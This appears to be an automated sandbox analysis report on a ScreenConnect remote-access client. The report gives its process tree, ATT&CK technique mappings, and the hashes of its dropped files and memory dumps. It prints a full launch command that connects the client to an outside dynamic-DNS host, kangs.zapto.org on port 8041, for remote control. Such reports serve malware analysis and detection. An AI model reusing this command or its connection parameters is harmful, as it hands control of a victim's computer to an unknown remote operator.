      "C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:740
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1176 -s 324
  2⤵
  - Program crash
  PID:4376

C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1132
- C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "fd833e0f-a850-46be-acf5-b96957a23792" "User"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  PID:1364
- C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "4c60b6ba-3806-43b9-bf84-92f69f04eb50" "System"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:2336

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1176 -ip 1176
1⤵
PID:4364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms
Size 24KB
SHA256 ee1ded4e627c57fd6292d3d2bf58ef800a2e1868c971afd941d0c9ad99f41d39
MD5 dcceb977de1da5d8dc2acaefc19cec44
SHA1 e39708776441d9b2b970da969181223ee4d59a14
SHA512 5e29d0c05b4d1d2d4b1e01853caf50fe13c93143ab3c80ffa70601e35a406a1ad3d03dacd55428eea4c14a2882c3372dba907459ad534d9d20196325c04b86cd
SSDEEP 768:UnzyoVn6ZOX9jX9R/QPI+0eD0rWNF26SN:/oaONjNzReD0rm2H
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms
Size 3KB
SHA256 5ca241b398ef5d09293d58fedc0e7828161d32d12242ba088d7b6bfb7de6dc39
MD5 c5927f44eb6d3a42819d5745a72f06db
SHA1 fab278eb84ea3a0e21e18db66fc134c00f685c06
SHA512 be4092fcab838985b01588cefd366997992546105b34275b755af1b037fb2352dd2c352fb40288eddc8c00b410cb6005e301975804410870e8810e7df8ec0e65
MD5 SHA1 SHA512

Submit Download

scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3adfc036.cdf-ms
Size 5KB
SHA256 830ce05f7a32b74662740f6e61ae22fe80201b347fc7ccc17df4552cd311af73
MD5 3763696c5235daef33cc1631e40ae44e
SHA1 bc2a71f4a1589a6bf7f89e360137fa8b376d4f2b
SHA512 3e94551a75bf3830a4c4d93977faefdac8382ed0492bc0e13f4446aafb8bc7221b4ba5dd7de64af4d23d652799a610743f4081b00950da91b4f1bd301c64bc70
SSDEEP 96:2SP+RxlSheV+Ww7NkbgOfb2Bw49AaFmKOTngnsRK:CRxlzJxbgV+acQv
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013.cdf-ms
Size 6KB
SHA256 d6fd818e4e4eb631a6855acc6269aabea73989d4828c1d70a7b78de27955ec08
MD5 2d5f16f255acd804455a234a6f8cab4d
SHA1 f49f837790259d94ba502b6843f0ebb9648fffed
SHA512 3aec1295416109d0dc38cf068ef53c80ec51a8b1348bba4252041ed826ef5fe0daf6a0b2abe4ecd08163aef0249ef9d35f0dec04745819809bd6c5c013c106da
SSDEEP 96:54GBPPbpvpeV+Wwwx8WpW2TOtPO6gb6OL664rNuOw27n6qB/B:7PPcJxpWZPQb6OOig76k
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a.cdf-ms
Size 2KB
SHA256 a4eec0c1162f073f890323aa671c0a07572594abf2b295d0d88a1f188b71e429
MD5 b04d299b93472d38590d4d9081f4c76f
SHA1 ed6c39ac91b3d283d4ddf39f99fd7bb6f9088546
SHA512 0bbacde6af2d505c2ac948922fb068544d6514bd779bb1fac566e75760e9a7e06b793ea03697d9b484dbbfed6dd06f5475ea219975e669e3a5162ea88616788b
MD5 SHA1 SHA512

Submit Download

scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..tion_25b0fbb6ef7eb094_0018.0003_none_38bfca06a9457575.cdf-ms
Size 14KB
SHA256 ea0517e984da439d9e82103574538eb7fbb262a9cf89c51b74f87da1e2ae6d45
MD5 d7166cb4c7cf6d1edd2bc7c0df7d6028
SHA1 5c4e87e4cb26133dfbc74063d1e10559febd2060
SHA512 411fd5436f659bab808ef4f604f89efc3e4ed20e89b5d17ca7f442161707c78e438ecc59e67b71cb0f79cf1d6f1eaf8a8b9b4f2e5176388d76e3d0b8c4ed594d
SSDEEP 192:RM6I9rf6h9o8s8owwSzN8s8oTN2x2QPIlFDLhEDh7BqWoDOl:RMb9rf6QX9mxX9R/QPIBM7YDW
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\manifests\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071.cdf-ms
Size 4KB
SHA256 11f419863eb06d8be4926a24336f6357e124851b7d3672637cf98f439c27646e
MD5 9cb020259cfbc185a7fb295360a86ef0
SHA1 0b1bfe5e61c1430ca4dca534e17ff2427fb9a80c
SHA512 5bb0362e29e0a4ff9cb317aa48e9f6d43082dfaa3d4c4f1ebd6f63eee16d0eb1569158cc91250df81afe100d2d9b85448c35a9e074dc3a9e50245c7aa1e859df
SSDEEP 48:va3CDVxQdgoXe6S+9ow87gWW75uvsl0xA4tp2Q0//d5XGRXnw9GUjdLf:va3beV+Ww8x45ubFN0/l5XG5n6GyVf
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.exe

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\ScreenConnect.ClientService.exe
Size 93KB
SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
MD5 75b21d04c69128a7230a0998086b61aa
SHA1 244bd68a722cfe41d1f515f5e40c3742be2b3d1d
SHA512 8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2
SSDEEP 1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.Override.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.en-US.resources
Size 251B
SHA256 f8c6ffac6cb3413f082100c33adc6a644d92f43ce8412bfae72fad5a2659b5fe
MD5 7857331bd82d84f45630bffc739ddfa6
SHA1 91f74b971b2c66efebf2495fdff3c5f7c707a7c3
SHA512 7b9ba5bc97c84415f3586a337fcfe3fe5f2d6e06b9992e7787da12ba6e7df2bc7189b12ab5a7aceb990a389f59db02119acbb127e5c6ecb41a93410f07df9a10
MD5 SHA1 SHA512

Submit Download

Client.Override.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.Override.resources
Size 320B
SHA256 52dffe148e32a52e24ea0f7451dc70afcc39cb69d690b117b08a09ecb7728eff
MD5 3814151376a02e3f5640be8792848b2a
SHA1 fef60f31dc341fc435b777e1404e490a362c3a05
SHA512 4f4842db7b2f60f9965a632a82561e37c957b922eab370626ec9e5be6fd5df37ae94ff9a31822289ab269ea09a8e854d445b3663d12f49802f6dbc0c453ebbf4
MD5 SHA1 SHA512

Submit Download

Client.en-US.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.en-US.resources
Size 48KB
SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
MD5 d524e8e6fd04b097f0401b2b668db303
SHA1 9486f89ce4968e03f6dcd082aa2e4c05aef46fcc
SHA512 e5bc6b876affeb252b198feb8d213359ed3247e32c1f4bfc2c5419085cf74fe7571a51cad4eaaab8a44f1421f7ca87af97c9b054bdb83f5a28fa9a880d4efde5
SSDEEP 1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.resources

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
MD5 5cd580b22da0c33ec6730b10a6c74932
SHA1 0b6bded7936178d80841b289769c6ff0c8eead2d
SHA512 c2494533b26128fbf8149f7d20257d78d258abffb30e4e595cb9c6a742f00f1bf31b1ee202d4184661b98793b9909038cf03c04b563ce4eca1e2ee2dec3bf787
SSDEEP 384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5 SHA1 SHA512 SSDEEP

Submit Download

app.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\app.config
Size 2KB
SHA256 7bc1d43e6460679714c6dd98b899dd2e2083409fd6b6453b553d76558afdd33c
MD5 49c3a3c745326c55edf20a68f9b690bc
SHA1 6a7e5261b50ede53c9efbd973fd9e876bd353ab9
SHA512 d2f7ab57a3af3724418560e4ec1a05b079903ed8201a479ae0d13678720e2ae6ae9f939cb0ae9da67f9110afa8061b31fc86d45673bb7a2e5bd483a6e148206b
MD5 SHA1 SHA512

Submit Download

user.config

Path C:\Users\Admin\AppData\Local\Apps\2.0\B1LAWRX2.ZTL\H23OE9JV.NZX\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\user.config
Size 562B
SHA256 ee47e9a0a5b22de292db677b2fc4a7004c1ddff4ec7c0a8f4626ed8019ec760b
MD5 8df778a12e7c3d7efd4b4b27c4030b81
SHA1 b32c397284a702ccf7f92d886d64a7e49027162a
SHA512 052b5090ab3b91fb1157cd23650327c730436bc6bfb57e1f613c6ad738f9be51dec5ec9cbcd7129536d30edda3ac0fbf8706a2c6260f1e561e5a638a1fb43282
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
Size 1KB
SHA256 5d7a4f823ab9e9b53c6bc5b76a190211aa77409aa5a1d0a30ada6184ae9c8cdf
MD5 11aed5858c042e91c8b581692542c5a9
SHA1 b06ee43f6cfd94e97da6856c96d961001b5cb488
SHA512 fd9b0230b0f6205591287f42662d284f59425d16da5249286924330897b3b4c5287f9f9f5d2c5570d243e81726ad873b0be15fdea361c98c9225d77ca8395bab
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Client.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Client.dll
Size 192KB
SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
MD5 3724f06f3422f4e42b41e23acb39b152
SHA1 1220987627782d3c3397d4abf01ac3777999e01c
SHA512 509d9a32179a700ad76471b4cd094b8eb6d5d4ae7ad15b20fd76c482ed6d68f44693fc36bcb3999da9346ae9e43375cd8fe02b61edeabe4e78c4e2e44bf71d42
SSDEEP 3072:/xLtNGTlIyS7/ObjusqVFJRJcyzvYqSmzDvJXYF:FtNGTGySabqPJYbqSmG
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Client.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Client.dll.genman
Size 1KB
SHA256 f1bf5014656d836a4c5c42e7ed67ff368d1706c41082e1e4f33abf9cda09d647
MD5 618dc5f6c85a2057bc7a86c5f498e2f1
SHA1 5073b2c3a117985e8f26ed5bea8c93a5bb202eea
SHA512 a8ed838573ef9a4119a4d32335543ea5074250d47212068ef2c4b470a451eb0154bceb8b3bf8b0722d4250122f6b5a196383576f715fd938d3ccb6cbde7c2799
MD5 SHA1 SHA512

Submit Download

ScreenConnect.ClientService.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.ClientService.dll
Size 66KB
SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
MD5 5db908c12d6e768081bced0e165e36f8
SHA1 f2d3160f15cfd0989091249a61132a369e44dea4
SHA512 8400486cadb7c07c08338d8876bc14083b6f7de8a8237f4fe866f4659139acc0b587eb89289d281106e5baf70187b3b5e86502a2e340113258f03994d959328d
SSDEEP 1536:+A0ZscQ5V6TsQqoSD6h6+39QFVIl1zJhb8gq:p0Zy3gUOQFVQzJq
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.ClientService.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.ClientService.dll.genman
Size 1KB
SHA256 276b0232a7c76292d34207f916966ea1bcd5cd7e1e1d9a2751c663f06e45b63c
MD5 4e77158d54337b51a6368d7d094397c4
SHA1 3a029b30b95786adf97fb3c0b1c37b11154e0344
SHA512 69d7a90b2802575555e68991d157885253a72f5ed5181af5795e52bb6165b979542f482bac1e3cc164013133a4b812e1ec10bbcd39aa1166318099abc267ed95
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Core.dll
Size 536KB
SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
MD5 14e7489ffebbb5a2ea500f796d881ad9
SHA1 0323ee0e1faa4aa0e33fb6c6147290aa71637ebd
SHA512 2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd
SSDEEP 12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Core.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Core.dll.genman
Size 1KB
SHA256 ac3c489c02264ff1918fc0b79083a7754b98542a6cc4e2af67eafdbf76c6232e
MD5 293c100b1896e7532d241dac2b32dcb3
SHA1 1e14b49c9af799da0371474bf712f3ac3e5b6ebc
SHA512 ed3935d90f48043be2bf7a60cacbb47964672eab0c9ebfc2eeac8ebc4341383f32f55901601de56698eef6aec6399e77eb8dec6f5158d1b3761d5f25adfc3499
MD5 SHA1 SHA512

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
MD5 9ad3964ba3ad24c42c567e47f88c82b2
SHA1 6b4b581fc4e3ecb91b24ec601daa0594106bcc5d
SHA512 ce557a89c0fe6de59046116c1e262a36bbc3d561a91e44dcda022bef72cb75742c8b01bedcc5b9b999e07d8de1f94c665dd85d277e981b27b6bfebeaf9e58097
SSDEEP 24576:dx5xeYkYFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:dx5xTkYJkGYYpT0+TFiH7efP
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.Windows.dll.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.Windows.dll.genman
Size 1KB
SHA256 d48afb709e61b86eb6eef67b41d0fa7ec780c4536f5cf9aca7a0b440aed98ef0
MD5 88ecd545bdbe3ed49c6a2b87589102ec
SHA1 e72949af66b0a20e50474d2005e320ba63ba9b2b
SHA512 7ed19ed32e02348abc8a64ca0a21e05496a6595a8b94d3f960cf3f6a6c6445d30aad7aec09ce76776023f9e5f4b40df032408deffba102026247099879cb95de
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsBackstageShell.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsBackstageShell.exe
Size 59KB
SHA256 e25f32ba3fa32fd0ddd99eb65b26835e30829b5e4b58573690aa717e093a5d8f
MD5 afa97caf20f3608799e670e9d6253247
SHA1 7e410fde0ca1350aa68ef478e48274888688f8ee
SHA512 fe0b378651783ef4add3851e12291c82edccde1dbd1fa0b76d7a2c2dcd181e013b9361bbdae4dae946c0d45fb4bf6f75dc027f217326893c906e47041e3039b0
SSDEEP 1536:kW/+lo6MOc8IoiKWjrNv8DtyQ4RE+TC6WAhVbb57bP8:kLlo6dccldyQGWy5s
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsClient.exe
Size 588KB
SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
MD5 1778204a8c3bc2b8e5e4194edbaf7135
SHA1 0203b65e92d2d1200dd695fe4c334955befbddd3
SHA512 a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69
SSDEEP 6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.genman

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsClient.exe.genman
Size 2KB
SHA256 8aa9dacc29faef7be40d54b45fba75afc13bf25638d9a46dc4b516529ae74619
MD5 6a1c3ff3e8f5e23698453b4ccda2fd12
SHA1 c7eed4383b7f1982222e663a0b8850d09b6b20ef
SHA512 c9f09c968d71f4d7481c1aadbf8337fbce052f71aa168795daf374d53cc827ba9e7f1cf9adc50fc423cf68ee500bfc931dd2e14648626ed7d688f1a41447dccc
MD5 SHA1 SHA512

Submit Download

ScreenConnect.WindowsClient.exe.manifest

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsClient.exe.manifest
Size 17KB
SHA256 2e0e46f395d5a6440f179b61c4008abf3d72cfcda705a543c8ee18b41d37b025
MD5 7f68a01c2fea1c80a75e287bb36d6b43
SHA1 f271ebc2542397e59c3d57d30cc54bf1d9db4f69
SHA512 c6c1c9d6d9c50f94c9bc8c8a422cd00397ee184b6f6113ea19f9209c0e2339b540ee92d35bcce81f242d6fdc3c720ec2e56675e702e90c91533a07fa9f9db753
SSDEEP 384:rexTuzvdu98aXVEf6/DX9mX9FX9R/QPIYM7Y7:rn6/DX9mX9FX9R/QPIN07
MD5 SHA1 SHA512 SSDEEP

Submit Download

ScreenConnect.WindowsFileManager.exe

Path C:\Users\Admin\AppData\Local\Temp\Deployment\2WMYOOVX.77N\2QCKX0Z4.2QK\ScreenConnect.WindowsFileManager.exe
Size 79KB
SHA256 ebd04a4540d6e76776bd58deea627345d0f8fba2c04cc65be5e979a8a67a62a1
MD5 1aee526dc110e24d1399affccd452ab3
SHA1 04db0e8772933bc57364615d0d104dc2550bd064
SHA512 482a8ee35d53be907be39dbd6c46d1f45656046baca95630d1f07ac90a66f0e61d41f940fb166677ac4d5a48cf66c28e76d89912aed3d673a80737732e863851
SSDEEP 1536:Ety9l44Kzb1I5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7j27Vy:PvqukLdn2s
MD5 SHA1 SHA512 SSDEEP

Submit Download

DCEO9KM0.3OV.application

Path C:\Users\Admin\AppData\Local\Temp\Deployment\80ZTAP31.KYR\DCEO9KM0.3OV.application
Size 115KB
SHA256 d27d1439c1809ae8eda24f17c9ff9b50271a54d9f200a6793a406b86182b6552
MD5 85c8aa171ef8213b725157dce97af6cd
SHA1 db08be0236c23697aaa9843b6de4d1a475d12faf
SHA512 f20fde0089db54e891895639fd64682c237111b3c79b854e1742483202e7a5678a9165b08f882ecbebabefb27979683d110ef75fa4495301fb265f3c4525abed
SSDEEP 3072:xNHcT51/FXvMVNWfCXq9ymjm2o9HuzhJOvP:fcfiVIpmt8vOvP
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/740-385-0x0000000005670000-0x0000000005688000-memory.dmp

Download

memory/740-390-0x0000000005720000-0x00000000057AC000-memory.dmp

Download

memory/1132-409-0x0000000004400000-0x0000000004492000-memory.dmp

Download

memory/1132-408-0x0000000004160000-0x0000000004196000-memory.dmp

Download

memory/1132-405-0x0000000004110000-0x0000000004160000-memory.dmp

Download

memory/1132-404-0x0000000004910000-0x0000000004EB6000-memory.dmp

Download

memory/1132-403-0x00000000041B0000-0x000000000435A000-memory.dmp

Download

memory/1364-418-0x00000000021F0000-0x0000000002208000-memory.dmp

Download

memory/1984-45-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-57-0x0000028FDE6A0000-0x0000028FDE6D6000-memory.dmp

Download

memory/1984-0-0x00007FF8E9C53000-0x00007FF8E9C55000-memory.dmp

Download

memory/1984-44-0x00007FF8E9C53000-0x00007FF8E9C55000-memory.dmp

Download

memory/1984-41-0x0000028FDEB00000-0x0000028FDECAA000-memory.dmp

Download

memory/1984-69-0x0000028FDE830000-0x0000028FDE8BC000-memory.dmp

Download

memory/1984-46-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-47-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-51-0x0000028FDE840000-0x0000028FDE8D6000-memory.dmp

Download

memory/1984-1-0x0000028FBFC30000-0x0000028FBFC38000-memory.dmp

Download

memory/1984-31-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-7-0x0000028FDDD00000-0x0000028FDDD50000-memory.dmp

Download

memory/1984-4-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-3-0x00007FF8E9C50000-0x00007FF8EA712000-memory.dmp

Download

memory/1984-2-0x0000028FDA1A0000-0x0000028FDA328000-memory.dmp

Download

memory/1984-63-0x0000028FDDCB0000-0x0000028FDDCC8000-memory.dmp

Download

memory/5044-353-0x0000000000510000-0x00000000005A6000-memory.dmp

Download